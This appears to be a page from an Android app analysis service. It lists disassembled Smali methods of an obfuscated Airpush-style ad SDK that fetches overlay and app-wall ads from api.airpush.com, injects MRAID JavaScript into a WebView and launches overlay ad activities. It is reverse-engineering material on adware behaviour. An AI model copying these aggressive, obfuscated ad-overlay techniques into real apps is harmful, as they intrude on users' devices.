46 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$600(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties; | |
47 | move-result-object v0 | |
49 | invoke-virtual {v0, p1}, Lcom/vxjxu/jkhfn1870/MraidView$ExpandProperties;->setProperties(Ljava/lang/String;)V | |
50 | goto/16 :goto_27 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "adType" # Lcom/vxjxu/jkhfn1870/AdCallbackListener$AdType; | |
1 | .param p2, "json" # Ljava/lang/String; | |
2 | .param p3, "videoUrl" # Ljava/lang/String; | |
3 | .annotation system Ldalvik/annotation/Throws; | |
4 | value = { | |
5 | Ljava/lang/Exception; | |
6 | } | |
7 | .end annotation | |
8 | .prologue | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->sharedPreferences:Landroid/content/SharedPreferences; | |
12 | invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
13 | move-result-object v0 | |
14 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
16 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
17 | new-instance v1, Ljava/lang/StringBuilder; | |
19 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
21 | const-string v2, "" | |
23 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
24 | move-result-object v1 | |
26 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder; | |
27 | move-result-object v1 | |
29 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
30 | move-result-object v1 | |
32 | invoke-interface {v0, v1, p2}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; | |
34 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
36 | const-string v1, "video_url" | |
38 | invoke-interface {v0, v1, p3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor; |
|
40 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/Caching;->editor:Landroid/content/SharedPreferences$Editor; | |
42 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
43 | move-result v0 | |
44 | return v0 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "code" # I | |
1 | .prologue | |
2 | monitor-enter p0 | |
3 | try_start_1: | |
4 | invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String; | |
5 | move-result-object v1 | |
6 | if-eqz v1, :cond_13 | |
8 | invoke-static {}, Lcom/vxjxu/jkhfn1870/Util;->getAppID()Ljava/lang/String; | |
9 | move-result-object v1 | |
11 | const-string v2, "0" | |
13 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
14 | move-result v1 | |
15 | if-eqz v1, :cond_1c | |
16 | cond_13: | |
17 | const-string v1, "AirplaySDK" | |
19 | const-string v2, "Appid is invalid. Sending report aborted." | |
21 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
22 | try_end_1a: monitor-exit p0 | |
23 | try_end_1b: return-void | |
24 | try_start_1c: new-instance v1, Ljava/lang/Thread; | |
25 | new-instance v2, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1; | |
27 | invoke-direct {v2, p0, p1}, Lcom/vxjxu/jkhfn1870/SendIntegrationError$1;-><init>(Lcom/vxjxu/jkhfn1870/SendIntegrationError;I)V | |
29 | invoke-direct {v1, v2}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V | |
31 | invoke-virtual {v1}, Ljava/lang/Thread;->start()V | |
32 | goto_29: monitor-exit p0 | |
33 | goto/16 :goto_1b | |
34 | catchall_2b: move-exception v1 | |
35 | monitor-exit p0 | |
36 | try_end_2d: throw v1 | |
37 | catch_2e: move-exception v0 | |
38 | try_start_2f: | |
39 | const-string v1, "AirplaySDK" | |
41 | const-string v2, "Sending integration error failed." | |
43 | invoke-static {v1, v2, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
44 | try_end_36: goto/16 :goto_29 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "response" # Lorg/apache/http/HttpResponse; | |
1 | .param p2, "context" # Lorg/apache/http/protocol/HttpContext; | |
2 | .prologue | |
4 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
5 | move-result-object v3 | |
7 | invoke-interface {v3}, Lorg/apache/http/HttpEntity;->getContentEncoding()Lorg/apache/http/Header; | |
8 | move-result-object v2 | |
9 | if-eqz v2, :cond_2c | |
11 | invoke-interface {v2}, Lorg/apache/http/Header;->getElements()[Lorg/apache/http/HeaderElement; | |
12 | move-result-object v0 | |
13 | array-length v5, v0 | |
14 | const/4 v4, 0x0 | |
15 | goto_10: if-ge v4, v5, :cond_2c | |
16 | aget-object v1, v0, v4 | |
18 | invoke-interface {v1}, Lorg/apache/http/HeaderElement;->getName()Ljava/lang/String; | |
19 | move-result-object v6 | |
21 | const-string v7, "gzip" | |
23 | invoke-virtual {v6, v7}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
24 | move-result v6 | |
25 | if-eqz v6, :cond_2d | |
26 | new-instance v6, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity; | |
28 | invoke-interface {p1}, Lorg/apache/http/HttpResponse;->getEntity()Lorg/apache/http/HttpEntity; | |
29 | move-result-object v7 | |
31 | invoke-direct {v6, v7}, Lcom/vxjxu/jkhfn1870/NetworkThread$InflatingEntity;-><init>(Lorg/apache/http/HttpEntity;)V | |
33 | invoke-interface {p1, v6}, Lorg/apache/http/HttpResponse;->setEntity(Lorg/apache/http/HttpEntity;)V | |
34 | cond_2c: return-void | |
35 | cond_2d: add-int/lit8 v4, v4, 0x1 | |
36 | goto/16 :goto_10 |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "isViewable" # Z | |
1 | .prologue | |
2 | const-wide/16 v8, 0x3e8 | |
3 | monitor-enter p0 | |
4 | try_start_3: iget-boolean v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->isAnyIssue:Z | |
5 | try_end_5: if-eqz v0, :cond_9 | |
6 | try_start_7: monitor-exit p0 | |
7 | goto_8: return-void | |
8 | cond_9: if-eqz p1, :cond_2d | |
9 | try_start_b: | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
11 | if-nez v0, :cond_28 | |
12 | new-instance v0, Ljava/util/Timer; | |
14 | invoke-direct {v0}, Ljava/util/Timer;-><init>()V | |
15 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
16 | new-instance v1, Lcom/vxjxu/jkhfn1870/AdView$9; | |
18 | invoke-direct {v1, p0}, Lcom/vxjxu/jkhfn1870/AdView$9;-><init>(Lcom/vxjxu/jkhfn1870/AdView;)V | |
20 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
21 | iget v2, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
22 | int-to-long v2, v2 | |
23 | mul-long/2addr v2, v8 | |
24 | iget v4, p0, Lcom/vxjxu/jkhfn1870/AdView;->adRefreshTime:I | |
25 | int-to-long v4, v4 | |
26 | mul-long/2addr v4, v8 | |
28 | invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->scheduleAtFixedRate(Ljava/util/TimerTask;JJ)V | |
29 | goto_28: monitor-exit p0 | |
30 | goto/16 :goto_8 | |
31 | catchall_2a: move-exception v0 | |
32 | monitor-exit p0 | |
33 | try_end_2c: throw v0 | |
34 | try_start_2d: | |
35 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
36 | if-eqz v0, :cond_28 | |
38 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
40 | invoke-virtual {v0}, Ljava/util/Timer;->cancel()V | |
41 | const/4 v0, 0x0 | |
42 | iput-object v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->timer:Ljava/util/Timer; | |
44 | const-string v0, "AirplayMraid" | |
46 | const-string v2, "Lost foucus. Removing thread>>>" | |
48 | invoke-static {v0, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
49 | const/4 v0, 0x1 | |
50 | iput-boolean v0, p0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
51 | try_end_43: goto/16 :goto_28 | |
52 | catch_44: move-exception v6 | |
53 | try_start_45: | |
54 | invoke-virtual {v6}, Ljava/lang/Exception;->printStackTrace()V | |
55 | try_end_48: goto/16 :goto_28 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "msg" # Landroid/os/Message; | |
1 | .prologue | |
2 | const/4 v2, 0x0 | |
3 | iget v0, p1, Landroid/os/Message;->what:I | |
4 | packed-switch v0, :pswitch_data_2e | |
5 | goto_6: return-void | |
6 | pswitch_7: | |
7 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
9 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
11 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$000(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Lcom/vxjxu/jkhfn1870/MraidView; | |
12 | move-result-object v1 | |
14 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->setContentView(Landroid/view/View;)V | |
16 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
18 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->access$000(Lcom/vxjxu/jkhfn1870/BrowserActivity;)Lcom/vxjxu/jkhfn1870/MraidView; | |
19 | move-result-object v0 | |
21 | invoke-virtual {v0, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->setVisibility(I)V |
|
23 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
25 | const-string v1, "Ad is showing on screen." | |
27 | invoke-static {v0, v1, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; |
|
28 | move-result-object v0 | |
30 | invoke-virtual {v0}, Landroid/widget/Toast;->show()V | |
31 | goto/16 :goto_6 | |
32 | pswitch_27: | |
33 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/BrowserActivity$1;->this$0:Lcom/vxjxu/jkhfn1870/BrowserActivity; | |
35 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/BrowserActivity;->finish()V | |
36 | goto/16 :goto_6 | |
37 | nop |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v4, Ljava/util/ArrayList; | |
3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
5 | const-string v5, "https://api.airpush.com/overlayads/overlayadcall.php" | |
6 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
8 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
9 | move-result-object v2 | |
10 | const-wide/16 v6, 0x0 | |
11 | const/4 v8, 0x1 | |
12 | move-object v3, p0 | |
14 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
15 | new-instance v2, Ljava/lang/Thread; | |
17 | const-string v3, "overlay" | |
19 | invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
21 | invoke-virtual {v2}, Ljava/lang/Thread;->start()V | |
22 | goto_1e: return-void | |
23 | catch_1f: move-exception v0 | |
25 | const-string v2, "AirplaySDK" | |
27 | const-string v3, "Error occurred in while requesting: " | |
29 | invoke-static {v2, v3, v0}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;Ljava/lang/Throwable;)I |
|
30 | goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v0, Landroid/content/Intent; | |
3 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
4 | move-result-object v1 | |
5 | const-class v2, Lcom/vxjxu/jkhfn1870/SmartWallActivity; | |
7 | invoke-direct {v0, v1, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V | |
8 | const/high16 v1, 0x10000000 | |
10 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent; |
|
11 | const/high16 v1, 0x800000 | |
13 | invoke-virtual {v0, v1}, Landroid/content/Intent;->addFlags(I)Landroid/content/Intent; |
|
15 | const-string v1, "overlayad" | |
17 | invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
19 | const-string v1, "adtype" | |
21 | iget-object v2, p0, Lcom/vxjxu/jkhfn1870/AirPlay$8;->val$adtype:Ljava/lang/String; | |
23 | invoke-virtual {v0, v1, v2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent; |
|
25 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
26 | move-result-object v1 | |
28 | invoke-virtual {v1, v0}, Landroid/app/Activity;->startActivity(Landroid/content/Intent;)V | |
29 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "state" # Ljava/lang/String; | |
1 | .prologue | |
2 | iput-object p1, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
3 | new-instance v0, Ljava/lang/StringBuilder; | |
5 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
7 | const-string v1, "mraid.setState(\'" | |
9 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
10 | move-result-object v0 | |
12 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
13 | move-result-object v0 | |
15 | const-string v1, "\');" | |
17 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
18 | move-result-object v0 | |
20 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
21 | move-result-object v0 | |
23 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
24 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Activity;->onStop()V | |
4 | const-string v2, "MyPrefsFile" | |
5 | const/4 v3, 0x0 | |
7 | invoke-virtual {p0, v2, v3}, Lprsolutions/rosariofacileads/Opzioni;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences; |
|
8 | move-result-object v1 | |
10 | invoke-interface {v1}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor; | |
11 | move-result-object v0 | |
13 | const-string v2, "sleep_mode" | |
15 | iget-object v3, p0, Lprsolutions/rosariofacileads/Opzioni;->mSleep:Landroid/widget/CheckBox; | |
17 | invoke-virtual {v3}, Landroid/widget/CheckBox;->isChecked()Z | |
18 | move-result v3 | |
20 | invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor; |
|
22 | invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z | |
23 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "isViewable" # Z | |
1 | .prologue | |
2 | new-instance v0, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v1, "mraid.setViewable(" | |
8 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v0 | |
11 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; | |
12 | move-result-object v0 | |
14 | const-string v1, ");" | |
16 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
17 | move-result-object v0 | |
19 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
20 | move-result-object v0 | |
22 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
23 | return-void |
Cross References |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "event" # Ljava/lang/String; | |
1 | .prologue | |
2 | new-instance v0, Ljava/lang/StringBuilder; | |
4 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
6 | const-string v1, "mraid.triggerEvent(\'" | |
8 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
9 | move-result-object v0 | |
11 | invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
12 | move-result-object v0 | |
14 | const-string v1, "\');" | |
16 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
17 | move-result-object v0 | |
19 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
20 | move-result-object v0 | |
22 | invoke-virtual {p0, v0}, Lcom/vxjxu/jkhfn1870/MraidView;->injectJSCode(Ljava/lang/String;)V | |
23 | return-void |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
4 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
5 | move-result-object v0 | |
6 | if-eqz v0, :cond_2e | |
8 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
10 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->getParent()Landroid/view/ViewParent; | |
11 | move-result-object v0 | |
12 | check-cast v0, Landroid/view/ViewGroup; | |
14 | iget-object v1, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | invoke-static {v1}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
17 | move-result-object v1 | |
19 | invoke-virtual {v0, v1}, Landroid/view/ViewGroup;->removeView(Landroid/view/View;)V | |
21 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
23 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
24 | move-result-object v0 | |
26 | invoke-virtual {v0}, Landroid/widget/VideoView;->isPlaying()Z | |
27 | move-result v0 | |
28 | if-eqz v0, :cond_2e | |
30 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
32 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$1100(Lcom/vxjxu/jkhfn1870/MraidView;)Landroid/widget/VideoView; | |
33 | move-result-object v0 | |
35 | invoke-virtual {v0}, Landroid/widget/VideoView;->stopPlayback()V | |
36 | cond_2e: | |
37 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$AirpushWebChromeClient;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
38 | const/4 v1, 0x1 | |
40 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
41 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "canFetchAd" # Z | |
1 | .prologue | |
3 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
4 | if-eqz v0, :cond_3a | |
5 | if-eqz p1, :cond_3b | |
7 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
8 | if-eqz v0, :cond_3b | |
10 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
12 | const-string v1, "expanded" | |
14 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
15 | move-result v0 | |
16 | if-eqz v0, :cond_1e | |
18 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->state:Ljava/lang/String; | |
20 | const-string v1, "resized" | |
22 | invoke-virtual {v0, v1}, Ljava/lang/String;->equalsIgnoreCase(Ljava/lang/String;)Z |
|
23 | move-result v0 | |
24 | if-nez v0, :cond_3b | |
25 | cond_1e: | |
26 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
27 | const/4 v1, 0x1 | |
28 | iput-boolean v1, v0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
30 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String; | |
31 | if-eqz v0, :cond_3a | |
33 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->placementType:Ljava/lang/String; | |
35 | const-string v1, "inline" | |
37 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
38 | move-result v0 | |
39 | if-eqz v0, :cond_3a | |
41 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
42 | if-eqz v0, :cond_3a | |
44 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
46 | invoke-virtual {v0}, Lcom/vxjxu/jkhfn1870/AdView;->getAd()V | |
47 | cond_3a: return-void | |
48 | cond_3b: | |
49 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView;->adView:Lcom/vxjxu/jkhfn1870/AdView; | |
50 | const/4 v1, 0x0 | |
51 | iput-boolean v1, v0, Lcom/vxjxu/jkhfn1870/AdView;->canFetchAd:Z | |
52 | goto/16 :goto_3a |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "dialog" # Landroid/content/DialogInterface; | |
1 | .param p2, "which" # I | |
2 | .prologue | |
4 | invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V | |
6 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
8 | const-string v1, "storePicture" | |
10 | const-string v2, "User has canceled." | |
12 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
14 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
16 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
17 | move-result-object v0 | |
18 | if-eqz v0, :cond_1d | |
20 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
22 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
23 | move-result-object v0 | |
25 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V | |
26 | cond_1d: | |
27 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$3;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
28 | const/4 v1, 0x1 | |
30 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
31 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | try_start_0: new-instance v4, Ljava/util/ArrayList; | |
3 | invoke-direct {v4}, Ljava/util/ArrayList;-><init>()V | |
4 | new-instance v1, Lcom/vxjxu/jkhfn1870/NetworkThread; | |
6 | invoke-static {}, Lcom/vxjxu/jkhfn1870/AirPlay;->access$000()Landroid/app/Activity; | |
7 | move-result-object v2 | |
9 | const-string v5, "https://api.airpush.com/appwall/getid.php" | |
10 | const-wide/16 v6, 0x0 | |
11 | const/4 v8, 0x1 | |
12 | move-object v3, p0 | |
14 | invoke-direct/range {v1 .. v8}, Lcom/vxjxu/jkhfn1870/NetworkThread;-><init>(Landroid/content/Context;Lcom/vxjxu/jkhfn1870/AsyncTaskCompleteListener;Ljava/util/List;Ljava/lang/String;JZ)V | |
15 | new-instance v2, Ljava/lang/Thread; | |
17 | const-string v3, "AppWall" | |
19 | invoke-direct {v2, v1, v3}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;Ljava/lang/String;)V |
|
21 | invoke-virtual {v2}, Ljava/lang/Thread;->start()V | |
22 | goto_1e: return-void | |
23 | catch_1f: move-exception v0 | |
25 | invoke-virtual {v0}, Ljava/lang/NullPointerException;->printStackTrace()V | |
26 | goto/16 :goto_1e | |
27 | catch_24: move-exception v0 | |
29 | invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V | |
30 | goto/16 :goto_1e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "dialog" # Landroid/content/DialogInterface; | |
1 | .prologue | |
3 | invoke-interface {p1}, Landroid/content/DialogInterface;->dismiss()V | |
5 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
7 | const-string v1, "storePicture" | |
9 | const-string v2, "User has canceled." | |
11 | invoke-virtual {v0, v1, v2}, Lcom/vxjxu/jkhfn1870/MraidView;->triggerErrorEvent(Ljava/lang/String;Ljava/lang/String;)V |
|
13 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
15 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
16 | move-result-object v0 | |
17 | if-eqz v0, :cond_1d | |
19 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
21 | invoke-static {v0}, Lcom/vxjxu/jkhfn1870/MraidView;->access$100(Lcom/vxjxu/jkhfn1870/MraidView;)Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener; | |
22 | move-result-object v0 | |
24 | invoke-interface {v0}, Lcom/vxjxu/jkhfn1870/AdCallbackListener$MraidCallbackListener;->onCloseListener()V | |
25 | cond_1d: | |
26 | iget-object v0, p0, Lcom/vxjxu/jkhfn1870/MraidView$4;->this$0:Lcom/vxjxu/jkhfn1870/MraidView; | |
27 | const/4 v1, 0x1 | |
29 | invoke-virtual {v0, v1}, Lcom/vxjxu/jkhfn1870/MraidView;->canFetchAd(Z)V |
|
30 | return-void |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .param p1, "log" # Ljava/lang/String; | |
1 | .annotation runtime Landroid/webkit/JavascriptInterface; | |
